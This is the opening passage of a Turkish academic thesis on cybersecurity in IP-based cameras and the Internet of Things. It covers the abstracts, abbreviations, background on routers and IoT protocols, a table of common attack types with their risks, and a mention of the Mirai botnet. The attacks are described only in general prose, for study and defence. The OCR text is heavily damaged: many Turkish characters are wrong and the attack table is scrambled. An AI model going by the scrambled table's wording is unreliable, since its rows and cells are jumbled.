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OZET

Bilgi ve iletisim teknolojilerinin gelismesinin getirdigi dijitallesme ve endiistri 4.0
sayesinde; akilli telefonlar, akilli saatler, akilli televizyonlar, akilli ev aletleri, IP tabanl
kameralar ve hatta akilli otomobillerin de dahil oldugu nesnelerin interneti kavrami hizla
poptilerlesmistir. Bu kavram ile hayatimiza giren {iriin ya da teknolojiler sayesinde yasam
konforu artarken, goz ard1 edilmesi giderek zorlasan giivenlik ve mahremiyet hususlari ise
dikkatle ele alinmas1 gereken en 6nemli sorunlar olarak karsimiza ¢ikmaktadir. Nesnelerin
interneti konseptinde yer alan diger cihazlardan farkli olarak; kurum, kurulus, konutlarda ve
ozellikle kritik altyapilarin oldugu mekanlarda, uzaktan erisim ve yonetimde yaygin olarak
kullanilan IP tabanli kameralardan kaynakli veri sizintilarinin neden olacagi gizlilik
ihlallerinin daha farkli sonuglar doguracagi degerlendirilmektedir. Tez ¢alismasi
kapsaminda IP tabanli kameralarda siber giivenlige yonelik hususlar irdelenmis, bu konuda
yapilan caligmalar incelenmis, ayrica IP tabanli kameralara yonelik saldirilar
gerceklestirilmis ve bu saldirilara iligkin yontemler ortaya konulmustur. Sonuglar analiz
edilerek s6z konusu cihazlara karsi gergeklestirilebilecek siber saldirilar karsisinda
maksimum seviyede korunmak ve IP tabanli kameralarin kullamilabilirliginin devamim
saglamak amaciyla, tespit edilen aciklik ve tehditlere karsi ¢6ziim Onerileri sunulmustur.
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ABSTRACT

The concept of the Internet of Things, including smartphones, smart watches, smart
televisions, smart home appliances, IP-based cameras and even smart cars, has rapidly
become popular, with the help of digitalization and industry 4.0 brought about by the
development of information and communication technologies. While the comfort of life
increases thanks to the products or technologies that come into our lives with this concept,
security and privacy issues, which are becoming more difficult to ignore, are the most
important problems that need to be addressed carefully. It is considered that privacy
exposure of data leaks caused by IP-based cameras, which are widely used in remote access
and management in institutions, organizations, residences and especially in places with
critical infrastructures, unlike other devices in the Internet of Things concept, will have
different consequences. As part of the thesis, issues related to cybersecurity in IP-based
cameras and studies on this subject were examined, in addition, attacks on IP-based cameras
were carried out and methods for these attacks were identified and their results were
analyzed and solutions were presented to ensure maximum protection against cyber attacks
that can be carried out against these devices and to ensure the continued availability of IP-
based cameras.
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SIMGELER VE KISALTMALAR

Bu ¢alismada kullanilmis kisaltmalar, agiklamalari ile birlikte asagida sunulmustur.

Kisaltmalar Aciklamalar
6LoWPAN Diistik Giiglii Kablosuz Kisisel Alan Aglari tizerinden IPv6
(IPv6 over low power wireless personal area networks)
ACK Alind1 damgas1 (Acknowledgement)
ARP Adres ¢oztimleme protokolii (Address resolution protocol)
CCTV Kapali1 devre televizyon (Closed circuit television)
CISA Siber Giivenlik ve Altyap1 Giivenligi Ajansi
(Cybersecurity and Infrastructure Security Agency)
CPE Miisteri tarafi cihazi (Customer premises equipment)
CSRF Siteler arasi talep sahtekarligi (Cross site request forgery)
CVE Ortak giivenlik agiklar ve riskler
(Common vulnerabilities and exposures)
DDoS Dagitik hizmet reddi (Distributed denial of service)
DHS ABD I¢ Giivenlik Bakanlig
(U.S. Department of Homeland Security)
DNS Alan ad1 sistemi (Domain name system)
DoS Hizmet reddi (Denial of service)
DUl Cihaz benzersiz tanimlayici (Device unique identification)
DVR Dijital video kayit cihazi (Digital video recorder)
DW Dijital filigran (Digital watermarking)

EDI Elektronik veri degisimi (Electronic data interchange)
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Ortam erisim kontrolii (Media access control)

Mesaj 6zet algoritmasi, kriptografik 6zet fonksiyonu
(Message-Digest algorithm 5)

Ortadaki adam (Man in the middle)
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boéliimleme ve altyazi olusturma veritabani
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Ag adresi ¢eviricisi (Network address translation)

Yakin alan iletisimi (Near field communication)

Ulusal giivenlik agiklar1 veritabani
(National vulnerabilities database)

Acik ag video arayiiz forumu
(Open network video interface forum)

Acik web uygulamasi giivenlik projesi
(Open web application security project)

Kisisel kimlik numarasi (Personal identification number)
Oliimciil ping (Ping of death)
Uzak masaiistii protokolii (Remote desktop protocol)

Radyo frekansi ile tanimlama
(Radio frequency identification)

Gergek zamanli mesajlasma protokolii
(Real time messaging protocol)

Gergek zamanl akis protokolii
(Real time streaming protocol)

Giivenli sayisal hafiza kart1 (Secure digital memory card)
Sunucu ileti blogu (Server message block)

Elektronik posta génderme protokolii

(Simple mail transfer protocol)

Yapisal sorgu dili (Structured query language)

Basit servis bulma protokolii

(Simple service discovery protocol)

Gtivenli kabuk (Secure shell)

Servis seti tanimlayicisi (Service set identifier)

Giivenli soket katmani1 (Secure sockets layer)
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Aciklamalar

Senkronize, esleme (Synchronize)

[letim denetim protokolii (Transmission control protocol)
Tasima katmani giivenligi (Transport layer security)
Televizyon
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(User datagram protocol)
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Wi-Fi korumali kurulum (Wi-Fi protected setup)
Kablosuz sensor ag1 (Wireless sensor network)

Genisletilebilir isaretleme dili (Extensible markup language)

Web sitelerinde ve uygulamalarinda zafiyet taramak igin
gelistirilmis acik kaynak kodlu bir OWASP projesi
(Zed attack proxy)



1. GIRIS

Bilgi ve iletisim teknolojilerinin gelismesiyle birlikte; tiretim sistemlerinde baslayan ve
hayatimizin her alaninda yayginlasan dijitallesme ile endiistri 4.0 olarak adlandirilan biiyiik
sanayi devrimi sayesinde yiiksek hizli bilgisayarlar, internet, akilli cihazlar ve nesnelerin
interneti gibi teknolojiler her gecen giin daha fazla kullanilmakta ve insan yasamini
kolaylagtirmaktadir. Ancak nesnelerin interneti cihazlarinda tiriinlerin miimkiin oldugunca
hizli teslim edilmesi ve sonrasinda giivenligin diistiniilmesi, tiiketicilerin mahremiyetini ve

giivenligini tehlikeye atmaktadir.

Nesnelerin interneti, bilgi gonderip alabilmeleri veya yapilandirilabilmeleri i¢in, internet
benzeri bir yapida haberlesebilen fiziksel cihazlar olarak tanimlanmistir. Bu terim ilk kez
1998 yilinda Kevin Ashton tarafindan kullanilmig olsa da [1], essiz olarak adreslenebilen,
yazilimlar, sunucular, sensorler vb. ile birbirine bagli dagitilmis cihazlardan olusan ve ¢evre
sartlarina gore davranabilme, bilgi, veri ve kaynak paylasabilme, otomatik organize olabilme
gibi yeteneklere sahip agik ve kapsamli akilli nesneler ag1 olarak da tanimlanmistir. Ayni
zamanda nesnelerin internetinin bir parcasi olarak bir nesneden bahsedildiginde; siber

diinyada ulagilabilir, konumlandirilabilir, adreslenebilir olabilecegi de belirtilmistir [2-5].

Nesnelerin interneti sektorii, akilli telefonlar ve bilgisayarlarin benimsenmesiyle baslayarak,
saatler, bileklikler, televizyonlar, buzdolaplari, ev aletleri, otomobiller vb. olmak iizere
gittikge biiyiimekte ve nesnelerin interneti cihazlar1 e-saglik, ev otomasyonu, akilli ¢evre,
akilli su, akilli tarim, akilli hayvancilik, akilli enerji, akilli sehirler, akilli 6l¢iim, endiistriyel
kontrol, giivenlik ve acil durumlar, aligveris ve lojistik gibi bircok alanda karsimiza
cikmaktadir [6]. Tahminler, glinliikk hayatimizin bir¢ok boliimiinde giderek daha yaygin hale
gelmekte olan nesnelerin interneti cihazlarimin, 2030 yilina kadar, yaklasik 50 milyarinin
tim diinyada kullanilacagini ve akilli telefonlardan mutfak aletlerine kadar her seyi
kapsayan devasa bir birbirine bagli cihaz ag1 olusturacagini gostermektedir [7]. Bu fiziksel
cithazlarin ¢ogu; ornegin bir buzdolabi, kahve makinesi, klima gibi daha Once internete
baglanamadigimiz tipik cihazlardir. Bu cihazlar genellikle "akilli cihazlar" olarak
adlandirilirken "akilli" kelimesi cihazin Oniine konularak, ornegin "akilli buzdolab1",
tanimlanmaktadir. Normal bir buzdolab: ile s6z konusu akilli buzdolab: arasindaki temel

fark ise akilli buzdolabinin internete erisebilmesi veya internetten erisilebilmesi i¢in ana



kartina bir Wi-Fi (kablosuz baglanti alani-wireless fidelity) modiilii veya benzeri bir
donanimin takili olmasidir. Akilli cihazlar normalde siirekli calistiklar icin diisiik giic

tilkketimi saglamali ve buna uygun donanim, yazilim ve isletim sistemi ile ¢alismalidirlar [8].

Akillt evlerin ve akilli sebekelerin ger¢cek caginda ev islerinin otomasyonunu saglayan
teknolojik sistemler hizla gelismektedir. Gliniimiizde akilli evlere kurulabilecek ¢ok sayida
teknoloji ve uygulama bulunmaktadir [9]. Ortak o6zelliklerinden bazilar1 cihaz kontrolii,
termostat kontrolii, uzaktan kumanda aydinlatmasi, canli video gozetimi, glivenlik kamerasi
monitdri, gercek zamanli metin uyarilari, enerji tiikketimi kontrolii olan ev uygulamalariin
ana hedefi, kisilerin giinliik yasaminin konforu, basitlestirilmesi ve giivenligi ile bebeklerin

gozetimi veya yaslilarin ve hastalarin izlenmesinin saglanmasi olarak 6zetlenebilmektedir

[10,11].

Nesnelerin Internetinde Kullanilan Teknoloji

Nesnelerin interneti, varliklar1 veya nesneleri bilgilendirmek ve akilli hale getirmek i¢in
kapsamli bir ag olusturmak {izere internet ile birlestirerek sensorler, kablosuz sensorler agi
(WSN), etiketler ile okuyucu/yazici, RFID (radyo frekansi ile tanimlama) sistemi, kamera,
kiiresel konum sistemi (GPS), akilli terminaller, elektronik veri degisimi (EDI) gibi cesitli

bilgi algilama, tanimlama cihazi ve bilgi isleme ekipmani kullanmaktadir [12].

Nesnelerin interneti sistemleri ile oncelikle sensorlerin tiiriine gore sicaklik, yonlendirme,
hareket, titresim, hizlanma, nem, havadaki kimyasal degisiklikler gibi veriler algilanmakta
ve tanimlanmakta olup, ¢agrilacak otomatik bir islemi belirleyen bir akilli cihaz tarafindan
islenmektedir. Sonrasinda akilli cihaz, sistem yoneticisine mevcut sistem durumunu ve

gergeklestirilen eylemlerin sonuglart hakkinda geri bildirim saglamaktadir [13].

Nesnelerin interneti cihazlari, kullanim amacina bagl olarak, iletisim i¢in genellikle Wi-Fi,
3G/4G, NFC, RFID, Bluetooth, 6LOWPAN (Diisiik Gii¢lii Kablosuz Kisisel Alan Aglar
tizerinden IPv6), ZigBee, Z-Wave vb. farkli teknolojiler ve protokoller kullanmaktadir.
Bunlardan; Bluetooth, kablosuz kisisel alan aglari (WPAN) i¢in IEEE (Elektrik ve
Elektronik Miihendisleri Enstitiisii) tarafindan IEEE 802.15.1 olarak standartlastirilan bir
teknolojidir [14]. 6LoWPAN, ZigBee ve Z Wave gibi baz1 yeni teknolojiler de akilli evler

icin nesnelerin interneti cihazlar1 s6z konusu oldugunda giderek daha popiiler hale



gelmektedir. 6LoOWPAN, IETF (Internet Mithendisligi Goérev Grubu) tarafindan belirlenen
IEEE 802.15.4 protokolii i¢in bir uyarlama katmanidir. ZigBee ise, ZigBee Alliance
tarafindan gelistirilen ve IEEE 802.15.4 standardinda bir teknolojidir [15]. 6LoWPAN ve
ZigBee, diisiik giiclii cihazlarin nesnelerin internetinin bir pargasi olmasinin saglanmasi
icindir. Tiim diiglimler agda birbirine baglandiginda, yakindaki diigimleri kullanarak uzun
mesafelerde iletisim kurabilmektedir. 6LOWPAN ile daha kolay iletisim kurulurken,
ZigBee'nin daha diisiik gii¢ tiiketimine sahip olmas1 aralarindaki temel farktir. Z Wave ise,
cogunlukla ev otomasyonundaki nesnelerin interneti i¢in yapilmis bir protokol olup, 100
kbps ve 30 metrelik noktadan noktaya iletisim ile nispeten diisiik hizlarda kiiglik veri

paketleri i¢in tasarlanmistir [16].

Nesnelerin interneti cihazlari i¢in IPv4’{in 32 bit adresi yerine 128 bit adres kullanilmasiyla,
internete bagl cihaz sayisinin artik 232 (yaklasik 4,3 milyar) ile sinirli olmayip, 2128 IP
adresi ile siirlanmasi IPv6 ile saglanmaktadir [17]. Bu, teorik olarak mevcut her cihaza
benzersiz bir tanimlayici dagitilmasi ve bdylece her cihazin internette bir son diigiim haline

gelebilmesi anlamina gelmektedir.

Hayatimiz1 daha kolay ve daha giivenli hale getirmek amaglanarak iiretilen fakat
kullanilirken gilivenlik risklerinin farkinda olunmadan kullanilmas: sonucu giivenlik
acisindan tehlikeye girebilen ve istismar edilebilen nesnelerin interneti uygulamalar1 ve
cihazlarinin glivenligi s6z konusu oldugunda yonlendiriciler ve Wi-Fi giivenligi 6nemli rol

oynamaktadir.

Giinlimiizde bir¢ok insanin evinde bilgisayar, tablet, cep telefonu gibi cihazlarinin ¢ogunu
baglayan bir erisim noktasi olan bir yonlendirici (router) vardir. Bu yiizden yonlendiricinin
giivenli olmasi ¢ok 6nemlidir. Cihazlar, aga bir ethernet kablosu kullanilarak veya kablosuz
iletisim standard1 lizerinden baglanmaktadir. Giivenligi etkileyebilecek tipik yonlendirici
ozellikleri WPS (Wi-Fi korumali kurulum- Wi-Fi protected setup), UPnP (evrensel tak ve
kullan-universal plug and play), kullanilan sifreleme standartlar1 ile giivenlik duvarlaridir.
Ayrica, yonlendiricideki varsayilan parolalar, port yonlendirme ve giivenlik duvarlari gibi
onemli giivenlik 6zelliklerinin devre dis1 birakilmasi gibi bazi yapilandirmalar da ag ve bagl

cihazlarin glivenligini etkileyebilmektedir.



Kablosuz agdaki bir yonlendirici ilizerinden iletisim diiz metin seklinde veya sifreli
olabilmektedir. Yonlendiriciye baglanmak icin bir cihazin kimlik bilgileri gerekir.
Yonlendiricide sifreleme olmamasi, agda oturum agmak igin parola gerekmedigi anlamina
gelir ve aga yonlendiricideki servis seti tanimlayicisini (SSID) bilen herkes erisebilir. WEP,
WPA veya WPAZ2 gibi Wi-Fi sifrelemesi kullanan bir ag i¢in sifre gerekmektedir [18]. WPS,
kullanicilarin aglar1 yapilandirmasini ve aglara baglanmasini kolaylastiran bir kurulum olup,
her yeni cihaz baglandiginda SSID ve sifreyi manuel olarak yazmak yerine, farkli cihazlarla
ag erisimi elde etmek i¢in yonlendirici lizerindeki bir diigmeye fiziksel olarak basilarak
yapilabilmekte veya yonlendiriciye baglanmak i¢in cihaza bir PIN kodu da (kisisel kimlik

numarasi-personal identification number) girilebilmektedir [19].

Yerel agdaki bir bilgisayar1 internetten erisilebilir hale getirmek i¢in genellikle port
yonlendirme kullanilmaktadir. Bir nesnelerin interneti ag1 iizerinde birka¢ cihaz, port
yonlendirme kullanilarak baglanabilmektedir [20]. Belirli bir IP'deki bir web sitesine
erisirken, bu site genellikle 80 numarali portu (HTTP) kullanan bir web sunucusunda
barindirilir. Bu, yerel bir agdaki bir bilgisayarda ulasilmasi gereken bir web sitesinin

yonlendiricide bu sekilde yapilandirilmasi gerektigi anlamina gelmektedir [21].

Bir¢cok nesnelerin interneti cihazi yonlendiricinin desteklemesi durumunda, yerel ag
iizerinden internete erismek i¢in UPnP teknolojisini kullanmaktadir. Aygit siirliclisii
olmadan, ortak protokoller kullanarak, ortamdan bagimsiz, herhangi bir programlama dili
ile herhangi bir isletim sisteminde uygulanabilen UPnP teknolojisi, aga bagli cihazlar
arasinda kontrol ve veri aktarimi i¢in IP, TCP, UDP, HTTP ve XML gibi internet
protokolleri kullanan dagitilmis, agik bir a§ mimarisi saglamaktadir. Bu 6zellikler port
yonlendirme gibi yapilandirmalar yapmadan cihazlar1 internete baglamay1 kolaylagtirmak
icindir [22]. Bir giivenlik olayina neden olabilecek tehditleri hedefleyen diger standart ag
iletisim protokolleriyle birlikte ¢alismast UPnP protokoliiniin bir dezavantajidir [23].
Cihazlar, nesnelerin interneti cihazlarinin bulundugu agdaki UPnP port yonlendirme 6zelligi

kotiiye kullanildiginda saldirilara maruz kalabilmektedir [24].

Farkli aglar arasinda miimkiin olan en kisa siirede ve verimli bir sekilde iletisimi saglamak
yonlendiricinin ana islevidir. Giivenlik duvarinin islevi ise istenmeyen trafigi kisitlamaktir.
Biiyiik aglarda, yonlendiriciler ve giivenlik duvari gorevleri farkli ag cihazlan tarafindan

gergeklestirilmektedir. Ancak kiiclik aglarda, hem ydnlendirme yapan hem de gilivenlik



duvari olarak kullanilabilen, yani her iki islevi tek bir cihaz tizerinde birlestiren donanimlar
goriilebilmektedir [25]. Giivenlik duvarlarinda, bilinen saldir1 tekniklerine benzer kaliplari
kontrol etmek icin trafigin analiz edildigi ve gelen trafik ile giden trafigin iki farkli olay
gunliigii (log) olarak tutulup, gelen paketlerin yerel alan agindan giden paketlere karsi
kontrol edilerek filtrelendigi dinamik paket filtreleme ve bir kelimenin, bir adresin veya bir
karakterin iceriginin engellenip, bu engellenen boliimiin tiim adresi kabul edilemez hale

getirdigi statik igerik filtreleme 6zellikleri bulunmaktadir [26].

IPv4 adreslerinin zamanla yetersiz kalip, IPv6'nin bu IP adresi eksikligine yanit olacagi
ancak [Pv6’ya gecisin zaman alacagi diisiiniildiiglinde, diizeltme amaciyla ag adresi
ceviricisi (NAT) kullanilmaya baslanilmistir. IP adresi alanin1 korumak i¢in, dogrudan
internete bagl olmayan aglara genellikle, internet ilizerinden yonlendirilemeyen IP adresi
araliklart olan, 6zel adres alani verilmektedir. NAT, bir agdaki bilgisayarlarin 1Pv4
adreslerini farkli bir agdaki bilgisayarlarin IPv4 adreslerine ¢evirmek icin bir ydontem
saglamaktadir. Yapilan calismalarda, NAT sadece IP kaynaklarini ekonomiklestirmekle
kalmayip, ayni zamanda giivenlik duvarmin giivenli savunma stratejisini giiglendirmektedir.
NAT o6zellikli bir IP yonlendirici, 6zel agdaki bilgisayarlarin bu ¢eviri 6zelligini saglayarak
genel agdaki bilgisayarlara erismesine izin verir. Genellikle, bu yonlendirici tabanl glivenlik
duvarlarinda c¢ok fazla baslangic yapilandirmasina gerek yoktur ve yonlendiricilerin

kurulum sayfasindan erisilebilmektedir [27].

Nesnelerin Internetinde Giivenlik

Literatiirde yapilan ¢aligmalarda; nesnelerin interneti aglarindaki cihazlarin kisitli bant
genisligine, hafiza ve hesaplama yetenegine sahip olmalarinin, onlar1 tehditlere karsi
savunmasiz biraktig1 ifade edilmistir. Bundan dolayi, bu cihazlarin geleneksel giivenlik
tekniklerini kullanarak internetin ortaya koydugu giivenlik sorunlariyla basa ¢ikmalarinin
miimkiin goriilmedigi ve nesnelerin interneti mimarisini olusturan katmanlarin farkli
Ozellikteki saldirilara karst savunmasiz oldugu belirtilmektedir [28-30]. Nesnelerin
internetine yonelik olasi saldirilar, olusturacag: riskler ve ilgili bilesenleri Cizelge 1.1.’de

Ozetlenmigtir [31].



Cizelge 1.1. Olasi saldirilar, olusturacag riskler ve ilgili bilesenler
Saldir1 Adi Saldirt Agiklamalar1 | Saldirt Sonucu Olusan Risk | Veri | Donanim | Ag | Sunucu | Uygulama | Kullanic
Saldirganin, kaynak
IP adresini hedef IP
adresi olarak gosterip,
SYN (Senkronize-
?;IK§2111nd1 Synchronize) paketi | Hedef sistemin hizmet
ackn%wl’ed em yolladigi ve alicinin | veremez hale gelme riski X X
ent) Sal. d1r1g51 hedef SYN paketi vardir.
yollamadig1 halde
ACK yoklamasiyla
gerceklesen saldirt
tiridir.
) Veri kaybi, veri sizintist,
Isletim sistemi ya da | veri hirsizhigi, veri
uygulamalarda agiklik | biitiinliigliniin bozulmasi,
Arka Kap1 olugturmaya yonelik | kritik donanimlara yetkisiz X X
gerceklestirilen saldirt | erisim, zararl yazilimlarin
tiridir. bilgi sistemine iletilmesi
riski vardir.
Veri kaybi, veri sizintist,
- . veri hirsizlig, veri
DNS (Alan Adi 8E:§Hf;‘ Ve e, | bitinliginin bozulmas,
Sistemi- - ver " | kritik donanimlara yetkisiz
Domai silme, degistirme ile o
omain Name hedefi sagrtmaya erigim, zararli yazilimlarin X
System) P bilgi sistemine iletilmesi,
Zehirlenmesi i’onihl; saldirt kullanicinin gitmeye ¢alistigi
urudur. siteden farkl: bir siteye
yonlendirilmesi riski vardir.
Sahte e posta . .
R Veri kaybi, veri sizintisi
adresinin giivenilir . P ’
E Posta . olarak gosterilmesiyle veri hirsizhg, kritik X
Sahteciligi gergeklestirilen saldirt donanimlara yetkisiz erisim
AR riski vardir.
tiiriidiir.
gﬁiﬁgzﬁlfi%layan Sunuculara, cihazlara veya
. aga zarar vererek sistemin
Fiziksel Saldiri :i/::r;ilrélr:lagi:ﬁ?r hizmet veremez hale X X X
<al dlrlf,arglr getirilmesi riski vardir.
Saldirganin gizli
dinleme sonucu
edindigi paketin - Lo
... | sifreli olmamasi Sistemin h1zme’t dist ;
IP Sahteciligi durumunda. kaynak kalmasi, DDoS’ta zombi X X X X
IP adresini » Kay cihaz olma riski vardir.
degistirerek hedef
sistemi yaniltmasidir.
Haberlesen iki ug
arasina girerek veriyi
MITM Saldirist dinlemeye, o Veri kaybu, veri hirsizligt X X
yakalamaya yonelik | riski vardir.
gerceklestirilen saldirt
tiridr.
€ posta yardimiyla
kisisel bilgileri ele . . <
Oltalama gecirmeye yonelik Xselz l\(/:zgllr’ veri hirsizhgy X X
gerceklestirilen saldin ’
tiridr.
) Veri kaybi, veri hirsizlig1 ve
Istemci ile sunucu kullanicilar tarafindan
arasina girerek bilingli ya da farkinda
Oturum Calma kullanici oturumunu | olmadan bilgi sistemleri X

ele gegirmeye yonelik
gerceklestirilen saldirt
tiridr.

iizerinde erisim yetkisi
arttirma iglemlerinin
gergeklestirilmesi riski
vardir.




Cizelge 1.1. (devam) Olas saldirilar, olusturacagi riskler ve ilgili bilesenler

paketi gondererek
hizmet veremez hale
getirir.

vardir.

Saldir1 Adi Saldirt Agiklamalar1 | Saldirt Sonucu Olusan Risk | Veri | Donanim | Ag | Sunucu | Uygulama | Kullanici
Saldirganin biiyiik
boyutlu paketleri . S
N hedef sisteme Hedef sistemin hizmet
Olimciil Ping gondererek hizmet veremez hale gelme riski X X X
dis1 kalmasina neden vardir.
olan saldurt tiiriidiir.
Reklam goriintiilemek
Reklam ve kisilerin ilgi Kisiler ve kisilerin ilgi
Yazihmi odagma gore veri alanlar1 hakkinda bilgi X X
z toplanilmasima toplanmasi riski vardir.
yonelik yazilimdir.
Saldirganin agdaki
bilgisayarlara hedef
sistemin IP
adresinden ICMP
(Internet Kontrol
Mesaj Protokolii - Hedef sistemin hizmet
Smurf Saldirist | Internet Control veremez hale gelme riski X X X
Message Protocol) vardir.
paketi yollayarak alict
bilgisayarlarin siirekli
ACK mesaji
yollamasina neden
olan saldurt tiirtidiir.
S Veri kaybu, veri sizintist,
qui Ez%fﬁ;zlla arak veri hirsizligs, veri
sistemdeki dosS alara biitiinliigiiniin bozulmast,
Y kritik donanimlara yetkisiz
Solucanlar zarar verme, . | [l X X X
bilgisayarin isleyisini erisim, zararii yazuimaarin
b bilgi sistemine iletilmesi,
0zmayl hedef sistemi - .
hedeflemektedir. edef sistemin zarar gormesi
riski vardir.
Hedef sistemdeki kisi Kritik donanimlarda yetkisiz
o $ erigimlerin goriilmesi, veri
hakkinda bilgi . <
edinebilmek igin kaybi, veri h1§51zllg1, zararl
]%/? S val . kisilerin kandirilmast yazlhmlarl_n sisteme X X
iihendislik yontemiyle yiiklenmesi, kritik veri, bilgi
gerceklestirilen saldin ve cihazlarm bilingli ya da
tiiriidiir farkinda olmadan
urucdr. degistirilmesi riski vardir.
Amacina gore degismekle
birlikte; kritik donanimlarda
yetkisiz erigimlerin
Herhangi bir amag goriilmesi, veri kaybi, veri
dogrultusunda hedef | hirsizlig1, zararli
Spam sistemin e postalarina | yazilimlarin sisteme X X
gelen iletilerdir. yiiklenmesi, kritik veri, bilgi
ve cihazlarin bilingli ya da
farkinda olmadan
degistirilmesi riski vardir.
SQL (yapisal Veri kaybu, veri hirsizligi,
sorgu dili- rsn?iga?;rl%u ;32}2}?{ veriler tizerinde degisiklik
structured hedef sistemnin yapilarak l?ﬁt!'jnlﬁgﬁn X
?;Jnegrl):age) bilgilerini edinmeyi bozulma riski vardir.
Enjeksiyonu amaglar.
Saldirgan hedef
sisteme ardistk olarak | oef cistemin hizmet
SYN Saldirist SYN bayrakh TCP veremez hale gelme riski X X X




Cizelge 1.1. (devam) Olas saldirilar, olusturacagi riskler ve ilgili bilesenler

Saldir1 Adi Saldirt Agiklamalar1 | Saldirt Sonucu Olusan Risk | Veri | Donanim | Ag | Sunucu | Uygulama | Kullanict

Haberlesen iki ug
arasindaki paketin
saldirgan tarafindan | Verilere yetkisiz erigim riski

g:{gﬁ:{::a ele gegirilerek tekrar | ile sistemin hizmet veremez | X X
tekrar aliciya hale gelme riski vardir.
iletilmesiyle
gerceklesen saldiridir.
Bilgisayar yazilimi
gﬁlq’s:uﬁ(ﬁﬁ Kritik donanimlarda yetkisiz
bilgiler)i/ disart erisimlerin goriilmesi, veri

Truva Atlar sizdirmaktadir. kaybi, veri h1r.51zhg1, zararh X X
Saldirgan, ag yazﬂlmlarlp sisteme
baglan tlsllﬁzerin den yiiklenmesi, sistemin zarar
kurbanin bilgisayarini gormesi riski vardir.
kontrol etmektedir.

Tus Klavyeye basilan . . -

Kaydedicisi tuslar1 kaydetmeyi Xelg tai/(ti)llr’ veri hursizhid X

(Keylogger) amaglayan yazilimdur. | 8% VAreir
Saldirinin temel
prensibi farkl bir IP
adresini kullanarak Hedef sistemin hizmet

UDP Saldiris1 | hedef sistemin veremez hale gelme riski X X
portlarina bityiik vardir.
boyutlu UDP
paketleri yollamaktir.

Kritik donanimlarda yetkisiz

Zararli bilgisayar erisimlerin goriilmesi, veri

Viriis yazilimi olup kaybu, veri hirsizligi, zararl X X X X
bilgisayarin isleyisini | yazilimlarin sisteme
degistirmektedir. yiiklenmesi, sistemin zarar

gormesi riski vardir.

Giivenilen bir web . .

Wi sitesinin sahtesini Veri kayby, veri sizmtist,

eb kullanarak veri hirsizligy, kritik X

Sahteciligi erceklestirilen donanimlara yetkisiz

§a1§m tu$ru diir erisim riski vardur.

Nesnelerin interneti cihazlarinin tam olarak siniflandirilmamasi, IP tabanli kameralar ile
diger cihazlarin ayni kategoride degerlendirilmesine yol agmaktadir. IP tabanli kameradan
kaynaklanacak veri sizintisinin neden olacagi gizlilik ihlali ile kahve makinesininki aym
olmayacaktir [32]. Bu nedenle, tezin ilerleyen boliimlerinde 6nce IP tabanli kameralar ile IP
tabanli kameralarda siber giivenlik hususlarindan bahsedilerek, bu konuda yapilan
caligmalar belirtilmis ve bu tezin farki vurgulanmistir. Sonraki boliimde tezde
gergeklestirilen uygulama anlatilmistir. Uygulama boliimiinde ayrica detayli olarak yapilan
saldirllar ve elde edilen sonuclar belirtilmistir. Uygulama sonuglari béliimiinde yapilan
uygulamaya iligkin sonuglar ile literatiirdeki calismalar 6zetlenmistir. Degerlendirme ve
oneriler boliimiinde, elde edilen sonuglar irdelenmis, bu cihazlara iligskin agiklik ve tehditlere

kars1 ¢oziim Onerileri sunulmustur. Son olarak da; tez calismasi: kapsaminda yapilanlarin

ozetlendigi sonug boliimiine yer verilmistir.



2. IP TABANLI KAMERALAR

Ag kameras1 olarak da adlandirilan bir IP tabanli kamera, bir internet protokolii agi
iizerinden ses, video ve goriintii gibi verileri ileten dijital bir cihazdir. Cihaz, donanim ve
yazilim olmak iizere iki bilesenden olusur. En 6nemli donanim parcalarindan bazilari,
goriintli isleme, kodlama ve kod ¢6zme icin kullanilan islemci, cihaz iiriin yazilimini
depolamak icin kullanilan bellek, 15181 gorlintiiye doniistiirmek i¢in kullanilan goriintii
sensorti ile birlikte optik mercek ve cihazi fiziksel baglanti ile veya kablosuz olarak internete
baglamak icin kullanilan ag kartidir. Bir IP tabanli kameraya hayat veren ana yazilim
bileseni, cihazin ayarlarini dogrulamak ve yapilandirmak icin birden fazla sayfa ve komut

dosyas1 barindiran bir HTTP web sunucusudur [32] .

IP tabanl kameralar, genel anlamda bir alan1 izlemek, alan giivenligini artirmak i¢in uzaktan
erisim ve yonetiminde kullanilmaktadir. Bir alanda giivenligi artirma zorunlulugu genellikle
bolgedeki altyapilarin ve varliklarin ne kadar 6nemli oldugu ile ilgilidir [33]. Sadece
izlenildiginin bilinmesi bile su¢ faaliyetlerinin olusumunun azalmasina neden
olabilmektedir [34]. Okullarda, bankalarda, isletmelerde, hastanelerde, kritik altyapilarda,
otoparklarda, depolarda, kazan dairelerinde, alis veris merkezlerinde, eczanelerde, kafe ve
lokantalarda, limanlarda, havaalanlarinda, garlarda, sokaklarda, parklarda, toplu tasima
araclarinda, otomobillerde, bebek monitdrlerinde, tele/video konferans, plaka okuma, yiiz
tanima sistemlerinde kisacasi akla izlenebilecek olarak gelen her yerde; hirsizlik 6nleme,
meydana gelebilecek kazalarda hasarin azaltilmasi, giivenlik veya saglik ekiplerine hizl
haber verme, hatali yapilabilecek isleri engelleme, disiplin saglama, siddet olaylarim
engellenme, suglularin tespiti ve yakalanmasi, yash takibi, bebek bakimi gibi birgok farkl
nedenle ve izledikleri kisilere biling saglamak, sosyal etkilesim ve hareket takibi gibi

amaglarla IP tabanli kamera kullanilmaktadir [35-40].

2.1. IP Tabanh Kameralarda Siber Giivenlik

Bebek monitdrlerinde, yash takip sistemlerinde veya ev giivenliginde de kullanilan IP
tabanli kameralar, hem bilgi teknolojileri hem de bant genisligi ag¢isindan, DDoS (Dagitik
Hizmet Reddi) saldirilar1 gibi saldirilarda kotiiye kullanilabildikleri ve evlere yonelik

hirsizlik gibi fiziksel saldirilarda da kullanilabildikleri i¢in saldirganlar agisindan oldukga
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cazip hale gelmektedir. 2016 yilinda, 64 iilkede en az 500.000 nesnelerin interneti cihazini
bir botnet ordusuna dontistiiren Mirai adli kotii amaglh yazilim, agik IP adreslerine sahip
cihazlar1 arayip, cihaz tiiriinii tanimlamaktadir. Cihazin kontroliinii ele gegirmek i¢in, farkli
iireticilerin bir¢cok nesnelerin interneti cihazinda kullanilan varsayilan kimlik bilgilerini test
etmekte ve yetkilendirildikten sonra uzaktan kontrol edilebilecek ve kullanilabilecek bir
servis kurmaktadir [41]. Bu yazilimla gerceklestirilen ve dogrudan diinya ¢apinda internet
erisimini hedefleyen, yakin tarihin en biiyiik siber olaylarindan olan DDoS saldirisi, 80
farkli1 Sony IP Kamera modeli [31] ile Xiongmai Teknoloji firmasinin IP tabanli kameralar1
da [42] dahil olmak {iizere, CCTV (kapali devre televizyon) kameralarinin da iginde

